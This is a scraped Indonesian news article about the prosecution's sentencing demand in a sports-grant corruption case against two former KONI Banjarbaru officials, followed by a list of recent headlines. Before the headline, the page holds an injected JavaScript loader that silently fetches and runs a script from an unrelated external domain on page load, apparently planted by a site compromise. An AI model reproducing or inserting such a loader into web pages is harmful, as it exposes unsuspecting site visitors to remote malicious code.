(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Korupsi Dana Hibah, Mantan Ketua dan Bendahara KONI Banjarbaru Dituntut 1 Tahun 7 Bulan Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa kasus korupsi dana hibah Komite Olahraga Nasional Indonesia (KONI) Banjarbaru Daniel Etta dan Agustina Tri Wardhani menjalani sidang tuntutan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Jumat (12/5/2023) sore.

Mantan Ketua dan Bendahara KONI Banjarbaru ini masing-masing dituntut oleh Jaksa Penuntut Umum (JPU) selama 1 tahun 7 bulan penjara.

“Menuntut kedua terdakwa dengan pidana penjara 1 tahun 7 bulan dan denda sebesar Rp 100 juta subsider 3 bulan penjara,” ucap Andryawan Perdana Dita Agara SH, JPU dari Kejari Banjarbaru.

Selain itu, kedua terdakwa juga dituntut untuk membayar kerugian negara masing-masing sebesar Rp 144 juta dengan ketentuan jika tidak dapat membayar 1 bulan  setelah putusan berkekuatan hukum tetap maka harta bendanya akan disita dan dilelang untuk menutupi kerugian negara.

Baca juga: Lelaki Tak Bernyawa Berkalung Logam dan Peluit Mengapung di Sungai Barito, Polisi Cari Identitas Mr X

“Jika tidak cukup maka diganti dengan kurungan penjara selama 10 bulan,” ujar JPU di hadapan ketiga majelis hakim yang diketuai I Gede Yuliartha.

Sementara itu, menanggapi tuntutan JPU penasehat hukum kedua terdakwa mengatakan akan melakukan pledoi (pembelaan) pada sidang berikutnya.

“Nanti pledoi diajukan secara bersama-sama dari kami penasehat hukim dan kedua terdakwa pada hari Selasa nanti,” kata penasehat hukum kedua terdakwa, Darul Huda Mustkakim SH MH.

Pihaknya menilai tuntutan JPU kepada terdakwa terlalu berat, khususnya terhadap  uang pengganti dalam dakwaan subsider yang dibebankan kepada kedua terdakwa.

Padahal menurutnya, pada fakta persidangan yang membelanjakan dana hibah tersebut adalah para pengurus cabor dan kesekretariatan KONI Banjarbaru.

“Terkait pasal 3 kami tidak sependapat, kerugian negara tidak bisa dibebankan kepada kedua terdakwa saja,” pungkasnya.

Baca juga: Bupati Banjar Tegaskan Dukung Penuh Pemindahan IKN di Kaltim

Untuk diketahui, terdakwa mantan Ketua KONI Banjarbaru Daniel Etta dan Bendahara Agustina Tri Wardhani didakwa telah melakukan korupsi dana hibah KONI Banjarbaru sebesar Rp 658 juta pada tahun 2018 saat kedua masih menjabat.

Keduanya didakwa JPU dengan Pasal 23 Ayat (1) Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Sedangkan dakwaan subsider yaitu Pasal 3 Jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana diubah dan ditambah dengan dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi Jo Pasal 55 Ayat (1) ke-1 KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

6 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

6 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

7 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

7 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

7 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

7 jam ago

This website uses cookies.